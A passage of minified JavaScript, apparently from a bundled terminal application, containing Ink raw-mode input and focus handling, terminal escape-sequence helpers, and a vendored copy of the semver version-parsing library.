leSetRawMode=(A)=>{let{stdin:K}=this.props;if(!this.isRawModeSupported())if(K===process.stdin)throw Error(`Raw mode is not supported on the current process.stdin, which Ink uses as input stream by default. Read about how to prevent this error on https://github.com/vadimdemedes/ink/#israwmodesupported`);else throw Error(`Raw mode is not supported on the stdin provided to Ink. Read about how to prevent this error on https://github.com/vadimdemedes/ink/#israwmodesupported`);if(K.setEncoding("utf8"),A){if(this.rawModeEnabledCount===0){if(K.ref(),K.setRawMode(!0),K.addListener("readable",this.handleReadable),this.props.stdout.write(IX4),this.props.stdout.write(nK6),xX4.includes(m6.terminal??""))this.props.stdout.write(LO4)}this.rawModeEnabledCount++;return}if(--this.rawModeEnabledCount===0){if(xX4.includes(m6.terminal??""))this.props.stdout.write(DXA);this.props.stdout.write(M4A),this.props.stdout.write(IXA),K.setRawMode(!1),K.removeListener("readable",this.handleReadable),K.unref()}};flushIncomplete=()=>{if(this.incompleteEscapeTimer=null,!this.keyParseState.incomplete)return;this.processInput(null)};processInput=(A)=>{let[K,q]=EX4(this.keyParseState,A);if(this.keyParseState=q,K.length>0)$r.discreteUpdates(tt3,this,K,void 0,void 0);if(this.keyParseState.incomplete){if(this.incompleteEscapeTimer)clearTimeout(this.incompleteEscapeTimer);this.incompleteEscapeTimer=setTimeout(this.flushIncomplete,this.keyParseState.mode==="IN_PASTE"?this.PASTE_TIMEOUT:this.NORMAL_TIMEOUT)}};handleReadable=()=>{let A;while((A=this.props.stdin.read())!==null)this.processInput(A)};handleInput=(A)=>{if(A==="\x03"&&this.props.exitOnCtrlC)this.handleExit();if(A===at3&&this.state.activeFocusId)this.setState({activeFocusId:void 0});if(this.state.isFocusEnabled&&this.state.focusables.length>0){if(A===rt3)this.focusNext();if(A===ot3)this.focusPrevious()}};handleExit=(A)=>{if(this.isRawModeSupported())this.handleSetRawMode(!1);this.props.onExit(A)};handleTerminalFocus=(A)=>{hX4(A),this.setState((K)=>{if(K.isTerminalFocused===A)return K;return{...K,isTerminalFocused:A}})};handleSuspend=()=>{if(!this.isRawModeSupported())return;let A=this.rawModeEnabledCount;while(this.rawModeEnabledCount>0)this.handleSetRawMode(!1);if(this.props.stdout.isTTY)this.props.stdout.write(Iy),this.props.stdout.write(M4A);this.internal_eventEmitter.emit("suspend");let K=()=>{for(let q=0;q<A;q++)if(this.isRawModeSupported())this.handleSetRawMode(!0);if(this.props.stdout.isTTY){if(!P1(process.env.CLAUDE_CODE_ACCESSIBILITY))this.props.stdout.write(pyA);this.props.stdout.write(nK6)}this.internal_eventEmitter.emit("resume"),process.removeListener("SIGCONT",K)};process.on("SIGCONT",K),process.kill(process.pid,"SIGSTOP")};enableFocus=()=>{this.setState({isFocusEnabled:!0})};disableFocus=()=>{this.setState({isFocusEnabled:!1})};focus=(A)=>{this.setState((K)=>{if(!K.focusables.some((Y)=>Y?.id===A))return K;return{activeFocusId:A}})};focusNext=()=>{this.setState((A)=>{let K=A.focusables.find((Y)=>Y.isActive)?.id;return{activeFocusId:this.findNextFocusable(A)??K}})};focusPrevious=()=>{this.setState((A)=>{let K=A.focusables.findLast((Y)=>Y.isActive)?.id;return{activeFocusId:this.findPreviousFocusable(A)??K}})};addFocusable=(A,{autoFocus:K})=>{this.setState((q)=>{let Y=q.activeFocusId;if(!Y&&K)Y=A;return{activeFocusId:Y,focusables:[...q.focusables,{id:A,isActive:!0}]}})};removeFocusable=(A)=>{this.setState((K)=>({activeFocusId:K.activeFocusId===A?void 0:K.activeFocusId,focusables:K.focusables.filter((q)=>{return q.id!==A})}))};activateFocusable=(A)=>{this.setState((K)=>({focusables:K.focusables.map((q)=>{if(q.id!==A)return q;return{id:A,isActive:!0}})}))};deactivateFocusable=(A)=>{this.setState((K)=>({activeFocusId:K.activeFocusId===A?void 0:K.activeFocusId,focusables:K.focusables.map((q)=>{if(q.id!==A)return q;return{id:A,isActive:!1}})}))};findNextFocusable=(A)=>{let K=A.focusables.findIndex((q)=>{return q.id===A.activeFocusId});for(let q=K+1;q<A.focusables.length;q++){let Y=A.focusables[q];if(Y?.isActive)return Y.id}return};findPreviousFocusable=(A)=>{let K=A.focusables.findIndex((q)=>{return q.id===A.activeFocusId});for(let q=K-1;q>=0;q--){let Y=A.focusables[q];if(Y?.isActive)return Y.id}return}}});function kT(...A){let K=m6.terminal==="kitty"?et3:Hr;return`${BX4}${A.join(Jr)}${K}`}function mX4(A){let K=A.indexOf(";"),q=K>=0?A.slice(0,K):A,Y=K>=0?A.slice(K+1):"",z=parseInt(q,10);if(z===_G.SET_TITLE_AND_ICON)return{type:"title",action:{type:"both",title:Y}};if(z===_G.SET_ICON)return{type:"title",action:{type:"iconName",name:Y}};if(z===_G.SET_TITLE)return{type:"title",action:{type:"windowTitle",title:Y}};if(z===_G.HYPERLINK){let w=Y.split(";"),H=w[0]??"",J=w.slice(1).join(";");if(J==="")return{type:"link",action:{type:"end"}};let O={};if(H)for(let X of H.split(":")){let $=X.indexOf("=");if($>=0)O[X.slice(0,$)]=X.slice($+1)}return{type:"link",action:{type:"start",url:J,params:Object.keys(O).length>0?O:void 0}}}return{type:"unknown",sequence:`\x1B]${A}`}}function gX4(A,K){let q=K?Object.entries(K).map(([Y,z])=>`${Y}=${z}`).join(":"):"";return kT(_G.HYPERLINK,q,A)}var BX4,et3,_G,qYw,V4A,f4A,c51;var SXA=k(()=>{O4A();z3();BX4=wr+String.fromCharCode(Cy.OSC),et3=wr+"\\";_G={SET_TITLE_AND_ICON:0,SET_ICON:1,SET_TITLE:2,SET_COLOR:4,SET_CWD:7,HYPERLINK:8,ITERM2:9,SET_FG_COLOR:10,SET_BG_COLOR:11,SET_CURSOR_COLOR:12,CLIPBOARD:52,KITTY:99,RESET_COLOR:104,RESET_FG_COLOR:110,RESET_BG_COLOR:111,RESET_CURSOR_COLOR:112,SEMANTIC_PROMPT:133,GHOSTTY:777};qYw=kT(_G.HYPERLINK,"",""),V4A={NOTIFY:0,BADGE:2,PROGRESS:4},f4A={CLEAR:0,SET:1,ERROR:2,INDETERMINATE:3},c51=`${BX4}${_G.ITERM2};${V4A.PROGRESS};${f4A.CLEAR};${Hr}`});var dyA=v((zYw,FX4)=>{var Ae3=Number.MAX_SAFE_INTEGER||9007199254740991,Ke3=["major","premajor","minor","preminor","patch","prepatch","prerelease"];FX4.exports={MAX_LENGTH:256,MAX_SAFE_COMPONENT_LENGTH:16,MAX_SAFE_BUILD_LENGTH:250,MAX_SAFE_INTEGER:Ae3,RELEASE_TYPES:Ke3,SEMVER_SPEC_VERSION:"2.0.0",FLAG_INCLUDE_PRERELEASE:1,FLAG_LOOSE:2}});var cyA=v((wYw,QX4)=>{var qe3=typeof process==="object"&&process.env&&process.env.NODE_DEBUG&&/\bsemver\b/i.test(process.env.NODE_DEBUG)?(...A)=>console.error("SEMVER",...A):()=>{};QX4.exports=qe3});var hXA=v((ux,UX4)=>{var{MAX_SAFE_COMPONENT_LENGTH:rK6,MAX_SAFE_BUILD_LENGTH:Ye3,MAX_LENGTH:ze3}=dyA(),we3=cyA();ux=UX4.exports={};var He3=ux.re=[],Je3=ux.safeRe=[],k7=ux.src=[],Oe3=ux.safeSrc=[],C7=ux.t={},Xe3=0,oK6="[a-zA-Z0-9-]",$e3=[["\\s",1],["\\d",ze3],[oK6,Ye3]],_e3=(A)=>{for(let[K,q]of $e3)A=A.split(`${K}*`).join(`${K}{0,${q}}`).split(`${K}+`).join(`${K}{1,${q}}`);return A},F5=(A,K,q)=>{let Y=_e3(K),z=Xe3++;we3(A,z,K),C7[A]=z,k7[z]=K,Oe3[z]=Y,He3[z]=new RegExp(K,q?"g":void 0),Je3[z]=new RegExp(Y,q?"g":void 0)};F5("NUMERICIDENTIFIER","0|[1-9]\\d*");F5("NUMERICIDENTIFIERLOOSE","\\d+");F5("NONNUMERICIDENTIFIER",`\\d*[a-zA-Z-]${oK6}*`);F5("MAINVERSION",`(${k7[C7.NUMERICIDENTIFIER]})\\.(${k7[C7.NUMERICIDENTIFIER]})\\.(${k7[C7.NUMERICIDENTIFIER]})`);F5("MAINVERSIONLOOSE",`(${k7[C7.NUMERICIDENTIFIERLOOSE]})\\.(${k7[C7.NUMERICIDENTIFIERLOOSE]})\\.(${k7[C7.NUMERICIDENTIFIERLOOSE]})`);F5("PRERELEASEIDENTIFIER",`(?:${k7[C7.NONNUMERICIDENTIFIER]}|${k7[C7.NUMERICIDENTIFIER]})`);F5("PRERELEASEIDENTIFIERLOOSE",`(?:${k7[C7.NONNUMERICIDENTIFIER]}|${k7[C7.NUMERICIDENTIFIERLOOSE]})`);F5("PRERELEASE",`(?:-(${k7[C7.PRERELEASEIDENTIFIER]}(?:\\.${k7[C7.PRERELEASEIDENTIFIER]})*))`);F5("PRERELEASELOOSE",`(?:-?(${k7[C7.PRERELEASEIDENTIFIERLOOSE]}(?:\\.${k7[C7.PRERELEASEIDENTIFIERLOOSE]})*))`);F5("BUILDIDENTIFIER",`${oK6}+`);F5("BUILD",`(?:\\+(${k7[C7.BUILDIDENTIFIER]}(?:\\.${k7[C7.BUILDIDENTIFIER]})*))`);F5("FULLPLAIN",`v?${k7[C7.MAINVERSION]}${k7[C7.PRERELEASE]}?${k7[C7.BUILD]}?`);F5("FULL",`^${k7[C7.FULLPLAIN]}$`);F5("LOOSEPLAIN",`[v=\\s]*${k7[C7.MAINVERSIONLOOSE]}${k7[C7.PRERELEASELOOSE]}?${k7[C7.BUILD]}?`);F5("LOOSE",`^${k7[C7.LOOSEPLAIN]}$`);F5("GTLT","((?:<|>)?=?)");F5("XRANGEIDENTIFIERLOOSE",`${k7[C7.NUMERICIDENTIFIERLOOSE]}|x|X|\\*`);F5("XRANGEIDENTIFIER",`${k7[C7.NUMERICIDENTIFIER]}|x|X|\\*`);F5("XRANGEPLAIN",`[v=\\s]*(${k7[C7.XRANGEIDENTIFIER]})(?:\\.(${k7[C7.XRANGEIDENTIFIER]})(?:\\.(${k7[C7.XRANGEIDENTIFIER]})(?:${k7[C7.PRERELEASE]})?${k7[C7.BUILD]}?)?)?`);F5("XRANGEPLAINLOOSE",`[v=\\s]*(${k7[C7.XRANGEIDENTIFIERLOOSE]})(?:\\.(${k7[C7.XRANGEIDENTIFIERLOOSE]})(?:\\.(${k7[C7.XRANGEIDENTIFIERLOOSE]})(?:${k7[C7.PRERELEASELOOSE]})?${k7[C7.BUILD]}?)?)?`);F5("XRANGE",`^${k7[C7.GTLT]}\\s*${k7[C7.XRANGEPLAIN]}$`);F5("XRANGELOOSE",`^${k7[C7.GTLT]}\\s*${k7[C7.XRANGEPLAINLOOSE]}$`);F5("COERCEPLAIN",`(^|[^\\d])(\\d{1,${rK6}})(?:\\.(\\d{1,${rK6}}))?(?:\\.(\\d{1,${rK6}}))?`);F5("COERCE",`${k7[C7.COERCEPLAIN]}(?:$|[^\\d])`);F5("COERCEFULL",k7[C7.COERCEPLAIN]+`(?:${k7[C7.PRERELEASE]})?(?:${k7[C7.BUILD]})?(?:$|[^\\d])`);F5("COERCERTL",k7[C7.COERCE],!0);F5("COERCERTLFULL",k7[C7.COERCEFULL],!0);F5("LONETILDE","(?:~>?)");F5("TILDETRIM",`(\\s*)${k7[C7.LONETILDE]}\\s+`,!0);ux.tildeTrimReplace="$1~";F5("TILDE",`^${k7[C7.LONETILDE]}${k7[C7.XRANGEPLAIN]}$`);F5("TILDELOOSE",`^${k7[C7.LONETILDE]}${k7[C7.XRANGEPLAINLOOSE]}$`);F5("LONECARET","(?:\\^)");F5("CARETTRIM",`(\\s*)${k7[C7.LONECARET]}\\s+`,!0);ux.caretTrimReplace="$1^";F5("CARET",`^${k7[C7.LONECARET]}${k7[C7.XRANGEPLAIN]}$`);F5("CARETLOOSE",`^${k7[C7.LONECARET]}${k7[C7.XRANGEPLAINLOOSE]}$`);F5("COMPARATORLOOSE",`^${k7[C7.GTLT]}\\s*(${k7[C7.LOOSEPLAIN]})$|^$`);F5("COMPARATOR",`^${k7[C7.GTLT]}\\s*(${k7[C7.FULLPLAIN]})$|^$`);F5("COMPARATORTRIM",`(\\s*)${k7[C7.GTLT]}\\s*(${k7[C7.LOOSEPLAIN]}|${k7[C7.XRANGEPLAIN]})`,!0);ux.comparatorTrimReplace="$1$2$3";F5("HYPHENRANGE",`^\\s*(${k7[C7.XRANGEPLAIN]})\\s+-\\s+(${k7[C7.XRANGEPLAIN]})\\s*$`);F5("HYPHENRANGELOOSE",`^\\s*(${k7[C7.XRANGEPLAINLOOSE]})\\s+-\\s+(${k7[C7.XRANGEPLAINLOOSE]})\\s*$`);F5("STAR","(<|>)?=?\\s*\\*");F5("GTE0","^\\s*>=\\s*0\\.0\\.0\\s*$");F5("GTE0PRE","^\\s*>=\\s*0\\.0\\.0-0\\s*$")});var l51=v((HYw,pX4)=>{var Ge3=Object.freeze({loose:!0}),Ze3=Object.freeze({}),We3=(A)=>{if(!A)return Ze3;if(typeof A!=="object")return Ge3;return A};pX4.exports=We3});var aK6=v((JYw,lX4)=>{var dX4=/^[0-9]+$/,cX4=(A,K)=>{let q=dX4.test(A),Y=dX4.test(K);if(q&&Y)A=+A,K=+K;return A===K?0:q&&!Y?-1:Y&&!q?1:A<K?-1:1},De3=(A,K)=>cX4(K,A);lX4.exports={compareIdentifiers:cX4,rcompareIdentifiers:De3}});var LD=v((OYw,nX4)=>{var i51=cyA(),{MAX_LENGTH:iX4,MAX_SAFE_INTEGER:n51}=dyA(),{safeRe:r51,t:o51}=hXA(),je3=l51(),{compareIdentifiers:bXA}=aK6();class Sy{constructor(A,K){if(K=je3(K),A instanceof Sy)if(A.loose===!!K.loose&&A.includePrerelease===!!K.includePrerelease)return A;else A=A.version;else if(typeof A!=="string")throw TypeError(`Invalid version. Must be a string. Got type "${typeof A}".`);if(A.length>iX4)throw TypeError(`version is longer than ${iX4} characters`);i51("SemVer",A,K),this.options=K,this.loose=!!K.loose,this.includePrerelease=!!K.includePrerelease;let q=A.trim().match(K.loose?r51[o51.LOOSE]:r51[o51.FULL]);if(!q)throw TypeError(`Invalid Version: ${A}`);if(this.raw=A,this.major=+q[1],this.minor=+q[2],this.patch=+q[3],this.major>n51||this.major<0)throw TypeError("Invalid major version");if(this.minor>n51||this.minor<0)throw TypeError("Invalid minor version");if(this.patch>n51||this.patch<0)throw TypeError("Invalid patch version");if(!q[4])this.prerelease=[];else this.prerelease=q[4].split(".").map((Y)=>{if(/^[0-9]+$/.test(Y)){let z=+Y;if(z>=0&&z<n51)return z}return Y});this.build=q[5]?q[5].split("."):[],this.format()}format(){if(this.version=`${this.major}.${this.minor}.${this.patch}`,this.prerelease.length)this.version+=`-${this.prerelease.join(".")}`;return this.version}toString(){return this.version}compare(A){if(i51("SemVer.compare",this.version,this.options,A),!(A instanceof Sy)){if(typeof A==="string"&&A===this.version)return 0;A=new Sy(A,this.options)}if(A.version===this.version)return 0;return this.compareMain(A)||this.comparePre(A)}compareMain(A){if(!(A instanceof Sy))A=new Sy(A,this.options);return bXA(this.major,A.major)||bXA(this.minor,A.minor)||bXA(this.patch,A.patch)}comparePre(A){if(!(A instanceof Sy))A=new Sy(A,this.options);if(this.prerelease.length&&!A.prerelease.length)return-1;else if(!this.prerelease.length&&A.prerelease.length)return 1;else if(!this.prerelease.length&&!A.prerelease.length)return 0;let K=0;do{let q=this.prerelease[K],Y=A.prerelease[K];if(i51("prerelease compare",K,q,Y),q===void 0&&Y===void 0)return 0;else if(Y===void 0)return 1;else if(q===void 0)return-1;else if(q===Y)continue;else return bXA(q,Y)}while(++K)}compareBuild(A){if(!(A instanceof Sy))A=new Sy(A,this.options);let K=0;do{let q=this.build[K],Y=A.build[K];if(i51("build compare",K,q,Y),q===void 0&&Y===void 0)return 0;else if(Y===void 0)return 1;else if(q===void 0)return-1;else if(q===Y)continue;else return bXA(q,Y)}while(++K)}inc(A,K,q){if(A.startsWith("pre")){if(!K&&q===!1)throw Error("invalid increment argument: identifier is empty");if(K){let Y=`-${K}`.match(this.options.loose?r51[o51.PRERELEASELOOSE]:r51[o51.PRERELEASE]);if(!Y||Y[1]!==K)throw Error(`invalid identifier: ${K}`)}}switch(A){case"premajor":this.prerelease.length=0,this.patch=0,this.minor=0,this.major++,this.inc("pre",K,q);break;case"preminor":this.prerelease.length=0,this.patch=0,this.minor++,this.inc("pre",K,q);break;case"prepatch":this.prerelease.length=0,this.inc("patch",K,q),this.inc("pre",K,q);break;case"prerelease":if(this.prerelease.length===0)this.inc("patch",K,q);this.inc("pre",K,q);break;case"release":if(this.prerelease.length===0)throw Error(`version ${this.raw} is not a prerelease`);this.prerelease.length=0;break;case"major":if(this.minor!==0||this.patch!==0||this.prerelease.length===0)this.major++;this.minor=0,this.patch=0,this.prerelease=[];break;case"minor":if(this.patch!==0||this.prerelease.length===0)this.minor++;this.patch=0,this.prerelease=[];break;case"patch":if(this.prerelease.length===0)this.patch++;this.prerelease=[];break;case"pre":{let Y=Number(q)?1:0;if(this.prerelease.length===0)this.prerelease=[Y];else{let z=this.prerelease.length;while(--z>=0)if(typeof this.prerelease[z]==="number")this.prerelease[z]++,z=-2;if(z===-1){if(K===this.prerelease.join(".")&&q===!1)throw Error("invalid increment argument: identifier already exists");this.prerelease.push(Y)}}if(K){let z=[K,Y];if(q===!1)z=[K];if(bXA(this.prerelease[0],K)===0){if(isNaN(this.prerelease[1]))this.prerelease=z}else this.prerelease=z}break}default:throw Error(`invalid increment argument: ${A}`)}if(this.raw=this.format(),this.build.length)this.raw+=`+${this.build.join(".")}`;return this}}nX4.exports=Sy});var N4A=v((XYw,oX4)=>{var rX4=LD(),Me3=(A,K,q=!1)=>{if(A instanceof rX4)return A;try{return new rX4(A,K)}catch(Y){if(!q)return null;throw Y}};oX4.exports=Me3});var sX4=v(($Yw,aX4)=>{var Pe3=N4A(),Ve3=(A,K)=>{let q=Pe3(A,K);return q?q.version:null};aX4.exports=Ve3});var eX4=v((_Yw,tX4)=>{var fe3=N4A(),Ne3=(A,K)=>{let q=fe3(A.trim().replace(/^[=v]+/,""),K);return q?q.version:null};tX4.exports=Ne3});var q$4=v((GYw,K$4)=>{var A$4=LD(),Te3=(A,K,q,Y,z)=>{if(typeof q==="string")z=Y,Y=q,q=void 0;try{return new A$4(A instanceof A$4?A.version:A,q).inc(K,Y,z).version}catch(w){return null}};K$4.exports=Te3});var w$4=v((ZYw,z$4)=>{var Y$4=N4A(),ve3=(A,K)=>{let q=Y$4(A,null,!0),Y=Y$4(K,null,!0),z=q.compare(Y);if(z===0)return null;let w=z>0,H=w?q:Y,J=w?Y:q,O=!!H.prerelease.length;if(!!J.prerelease.length&&!O){if(!J.patch&&!J.minor)return"major";if(J.compareMain(H)===0){if(J.minor&&!J.patch)return"minor";return"patch"}}let $=O?"pre":"";if(q.major!==Y.major)return $+"major";if(q.minor!==Y.minor)return $+"minor";if(q.patch!==Y.patch)return $+"patch";return"prerelease"};z$4.exports=ve3});var J$4=v((WYw,H$4)=>{var Ee3=LD(),ke3=(A,K)=>new Ee3(A,K).major;H$4.exports=ke3});var X$4=v((DYw,O$4)=>{var Ce3=LD(),Le3=(A,K)=>new Ce3(A,K).minor;O$4.exports=Le3});var _$4=v((jYw,$$4)=>{var Re3=LD(),ye3=(A,K)=>new Re3(A,K).patch;$$4.exports=ye3});var Z$4=v((MYw,G$4)=>{var Ie3=N4A(),Se3=(A,K)=>{let q=Ie3(A,K);return q&&q.prerelease.length?q.prerelease:null};G$4.exports=Se3});var xk=v((PYw,D$4)=>{var W$4=LD(),he3=(A,K,q)=>new W$4(A,q).compare(new W$4(K,q));D$4.exports=he3});var M$4=v((VYw,j$4)=>{var be3=xk(),xe3=(A,K,q)=>be3(K,A,q);j$4.exports=xe3});var V$4=v((fYw,P$4)=>{var ue3=xk(),Be3=(A,K)=>ue3(A,K,!0);P$4.exports=Be3});var a51=v((NYw,N$4)=>{var f$4=LD(),me3=(A,K,q)=>{let Y=new f$4(A,q),z=new f$4(K,q);return Y.compare(z)||Y.compareBuild(z)};N$4.exports=me3});var v$4=v((TYw,T$4)=>{var ge3=a51(),Fe3=(A,K)=>A.sort((q,Y)=>ge3(q,Y,K));T$4.exports=Fe3});var k$4=v((vYw,E$4)=>{var Qe3=a51(),Ue3=(A,K)=>A.sort((q,Y)=>Qe3(Y,q,K));E$4.exports=Ue3});var lyA=v((EYw,C$4)=>{var pe3=xk(),de3=(A,K,q)=>pe3(A,K,q)>0;C$4.exports=de3});var s51=v((kYw,L$4)=>{var ce3=xk(),le3=(A,K,q)=>ce3(A,K,q)<0;L$4.exports=le3});var sK6=v((CYw,R$4)=>{var ie3=xk(),ne3=(A,K,q)=>ie3(A,K,q)===0;R$4.exports=ne3});var tK6=v((LYw,y$4)=>{var re3=xk(),oe3=(A,K,q)=>re3(A,K,q)!==0;y$4.exports=oe3});var t51=v((RYw,I$4)=>{var ae3=xk(),se3=(A,K,q)=>ae3(A,K,q)>=0;I$4.exports=se3});var e51=v((yYw,S$4)=>{var te3=xk(),ee3=(A,K,q)=>te3(A,K,q)<=0;S$4.exports=ee3});var eK6=v((IYw,h$4)=>{var AA9=sK6(),KA9=tK6(),qA9=lyA(),YA9=t51(),zA9=s51(),wA9=e51(),HA9=(A,K,q,Y)=>{switch(K){case"===":if(typeof A==="object")A=A.version;if(typeof q==="object")q=q.version;return A===q;case"!==":if(typeof A==="object")A=A.version;if(typeof q==="object")q=q.version;return A!==q;case"":case"=":case"==":return AA9(A,q,Y);case"!=":return KA9(A,q,Y);case">":return qA9(A,q,Y);case">=":return YA9(A,q,Y);case"<":return zA9(A,q,Y);case"<=":return wA9(A,q,Y);default:throw TypeError(`Invalid operator: ${K}`)}};h$4.exports=HA9});var x$4=v((SYw,b$4)=>{var JA9=LD(),OA9=N4A(),{safeRe:A31,t:K31}=hXA(),XA9=(A,K)=>{if(A instanceof JA9)return A;if(typeof A==="number")A=String(A);if(typeof A!=="string")return null;K=K||{};let q=null;if(!K.rtl)q=A.match(K.includePrerelease?A31[K31.COERCEFULL]:A31[K31.COERCE]);else{let O=K.includePrerelease?A31[K31.COERCERTLFULL]:A31[K31.COERCERTL],X;while((X=O.exec(A))&&(!q||q.index+q[0].length!==A.length)){if(!q||X.index+X[0].length!==q.index+q[0].length)q=X;O.lastIndex=X.index+X[1].length+X[2].length}O.lastIndex=-1}if(q===null)return null;let Y=q[2],z=q[3]||"0",w=q[4]||"0",H=K.includePrerelease&&q[5]?`-${q[5]}`:"",J=K.includePrerelease&&q[6]?`+${q[6]}`:"";return OA9(`${Y}.${z}.${w}${H}${J}`,K)};b$4.exports=XA9});var m$4=v((hYw,B$4)=>{class u$4{constructor(){this.max=1000,this.map=new Map}get(A){let K=this.map.get(A);if(K===void 0)return;else return this.map.delete(A),this.map.set(A,K),K}delete(A){return this.map.delete(A)}set(A,K){if(!this.delete(A)&&K!==void 0){if(this.map.size>=this.max){let Y=this.map.keys().next().value;this.delete(Y)}this.map.set(A,K)}return this}}B$4.exports=u$4});var uk=v((bYw,U$4)=>{var $A9=/\s+/g;class iyA{constructor(A,K){if(K=GA9(K),A instanceof iyA)if(A.loose===!!K.loose&&A.includePrerelease===!!K.includePrerelease)return A;else return new iyA(A.raw,K);if(A instanceof Aq6)return this.raw=A.value,this.set=[[A]],this.formatted=void 0,this;if(this.options=K,this.loose=!!K.loose,this.includePrerelease=!!K.includePrerelease,this.raw=A.trim().replace($A9," "),this.set=this.raw.split("||").map((q)=>this.parseRange(q.trim())).filter((q)=>q.length),!this.set.length)throw TypeError(`Invalid SemVer Range: ${this.raw}`);if(this.set.length>1){let q=this.set[0];if(this.set=this.set.filter((Y)=>!F$4(Y[0])),this.set.length===0)this.set=[q];else if(this.set.length>1){for(let Y of this.set)if(Y.length===1&&VA9(Y[0])){this.set=[Y];break}}}this.formatted=void 0}get range(){if(this.formatted===void 0){this.formatted="";for(let A=0;A<this.set.length;A++){if(A>0)this.formatted+="||";let K=this.set[A];for(let q=0;q<K.length;q++){if(q>0)this.formatted+=" ";this.formatted+=K[q].toString().trim()}}}return this.formatted}format(){return this.range}toString(){return this.range}parseRange(A){let q=((this.options.includePrerelease&&MA9)|(this.options.loose&&PA9))+":"+A,Y=g$4.get(q);if(Y)return Y;let z=this.options.loose,w=z?gV[OM.HYPHENRANGELOOSE]:gV[OM.HYPHENRANGE];A=A.replace(w,yA9(this.options.includePrerelease)),mH("hyphen replace",A),A=A.replace(gV[OM.COMPARATORTRIM],WA9),mH("comparator trim",A),A=A.replace(gV[OM.TILDETRIM],DA9),mH("tilde trim",A),A=A.replace(gV[OM.CARETTRIM],jA9),mH("caret trim",A);let H=A.split(" ").map(($)=>fA9($,this.options)).join(" ").split(/\s+/).map(($)=>RA9($,this.options));if(z)H=H.filter(($)=>{return mH("loose invalid filter",$,this.options),!!$.match(gV[OM.COMPARATORLOOSE])});mH("range list",H);let J=new Map,O=H.map(($)=>new Aq6($,this.options));for(let $ of O){if(F$4($))return[$];J.set($.value,$)}if(J.size>1&&J.has(""))J.delete("");let X=[...J.values()];return g$4.set(q,X),X}intersects(A,K){if(!(A instanceof iyA))throw TypeError("a Range is required");return this.set.some((q)=>{return Q$4(q,K)&&A.set.some((Y)=>{return Q$4(Y,K)&&q.every((z)=>{return Y.every((w)=>{return z.intersects(w,K)})})})})}test(A){if(!A)return!1;if(typeof A==="string")try{A=new ZA9(A,this.options)}catch(K){return!1}for(let K=0;K<this.set.length;K++)if(IA9(this.set[K],A,this.options))return!0;return!1}}U$4.exports=iyA;var _A9=m$4(),g$4=new _A9,GA9=l51(),Aq6=nyA(),mH=cyA(),ZA9=LD(),{safeRe:gV,t:OM,comparatorTrimReplace:WA9,tildeTrimReplace:DA9,caretTrimReplace:jA9}=hXA(),{FLAG_INCLUDE_PRERELEASE:MA9,FLAG_LOOSE:PA9}=dyA(),F$4=(A)=>A.value==="<0.0.0-0",VA9=(A)=>A.value==="",Q$4=(A,K)=>{let q=!0,Y=A.slice(),z=Y.pop();while(q&&Y.length)q=Y.every((w)=>{return z.intersects(w,K)}),z=Y.pop();return q},fA9=(A,K)=>{return mH("comp",A,K),A=vA9(A,K),mH("caret",A),A=NA9(A,K),mH("tildes",A),A=kA9(A,K),mH("xrange",A),A=LA9(A,K),mH("stars",A),A},XM=(A)=>!A||A.toLowerCase()==="x"||A==="*",NA9=(A,K)=>{return A.trim().split(/\s+/).map((q)=>TA9(q,K)).join(" ")},TA9=(A,K)=>{let q=K.loose?gV[OM.TILDELOOSE]:gV[OM.TILDE];return A.replace(q,(Y,z,w,H,J)=>{mH("tilde",A,Y,z,w,H,J);let O;if(XM(z))O="";else if(XM(w))O=`>=${z}.0.0 <${+z+1}.0.0-0`;else if(XM(H))O=`>=${z}.${w}.0 <${z}.${+w+1}.0-0`;else if(J)mH("replaceTilde pr",J),O=`>=${z}.${w}.${H}-${J} <${z}.${+w+1}.0-0`;else O=`>=${z}.${w}.${H} <${z}.${+w+1}.0-0`;return mH("tilde return",O),O})},vA9=(A,K)=>{return A.trim().split(/\s+/).map((q)=>EA9(q,K)).join(" ")},EA9=(A,K)=>{mH("caret",A,K);let q=K.loose?gV[OM.CARETLOOSE]:gV[OM.CARET],Y=K.includePrerelease?"-0":"";return A.replace(q,(z,w,H,J,O)=>{mH("caret",A,z,w,H,J,O);let X;if(XM(w))X="";else if(XM(H))X=`>=${w}.0.0${Y} <${+w+1}.0.0-0`;else if(XM(J))if(w==="0")X=`>=${w}.${H}.0${Y} <${w}.${+H+1}.0-0`;else X=`>=${w}.${H}.0${Y} <${+w+1}.0.0-0`;else if(O)if(mH("replaceCaret pr",O),w==="0")if(H==="0")X=`>=${w}.${H}.${J}-${O} <${w}.${H}.${+J+1}-0`;else X=`>=${w}.${H}.${J}-${O} <${w}.${+H+1}.0-0`;else X=`>=${w}.${H}.${J}-${O} <${+w+1}.0.0-0`;else if(mH("no pr"),w==="0")if(H==="0")X=`>=${w}.${H}.${J}${Y} <${w}.${H}.${+J+1}-0`;else X=`>=${w}.${H}.${J}${Y} <${w}.${+H+1}.0-0`;else X=`>=${w}.${H}.${J} <${+w+1}.0.0-0`;return mH("caret return",X),X})},kA9=(A,K)=>{return mH("replaceXRanges",A,K),A.split(/\s+/).map((q)=>CA9(q,K)).join(" ")},CA9=(A,K)=>{A=A.trim();let q=K.loose?gV[OM.XRANGELOOSE]:gV[OM.XRANGE];return A.replace(q,(Y,z,w,H,J,O)=>{mH("xRange",A,Y,z,w,H,J,O);let X=XM(w),$=X||XM(H),_=$||XM(J),G=_;if(z==="="&&G)z="";if(O=K.includePrerelease?"-0":"",X)if(z===">"||z==="<")Y="<0.0.0-0";else Y="*";else if(z&&G){if($)H=0;if(J=0,z===">")if(z=">=",$)w=+w+1,H=0,J=0;else H=+H+1,J=0;else if(z==="<=")if(z="<",$)w=+w+1;else H=+H+1;if(z==="<")O="-0";Y=`${z+w}.${H}.${J}${O}`}else if($)Y=`>=${w}.0.0${O} <${+w+1}.0.0-0`;else if(_)Y=`>=${w}.${H}.0${O} <${w}.${+H+1}.0-0`;return mH("xRange return",Y),Y})},LA9=(A,K)=>{return mH("replaceStars",A,K),A.trim().replace(gV[OM.STAR],"")},RA9=(A,K)=>{return mH("replaceGTE0",A,K),A.trim().replace(gV[K.includePrerelease?OM.GTE0PRE:OM.GTE0],"")},yA9=(A)=>(K,q,Y,z,w,H,J,O,X,$,_,G)=>{if(XM(Y))q="";else if(XM(z))q=`>=${Y}.0.0${A?"-0":""}`;else if(XM(w))q=`>=${Y}.${z}.0${A?"-0":""}`;else if(H)q=`>=${q}`;else q=`>=${q}${A?"-0":""}`;if(XM(X))O="";else if(XM($))O=`<${+X+1}.0.0-0`;else if(XM(_))O=`<${X}.${+$+1}.0-0`;else if(G)O=`<=${X}.${$}.${_}-${G}`;else 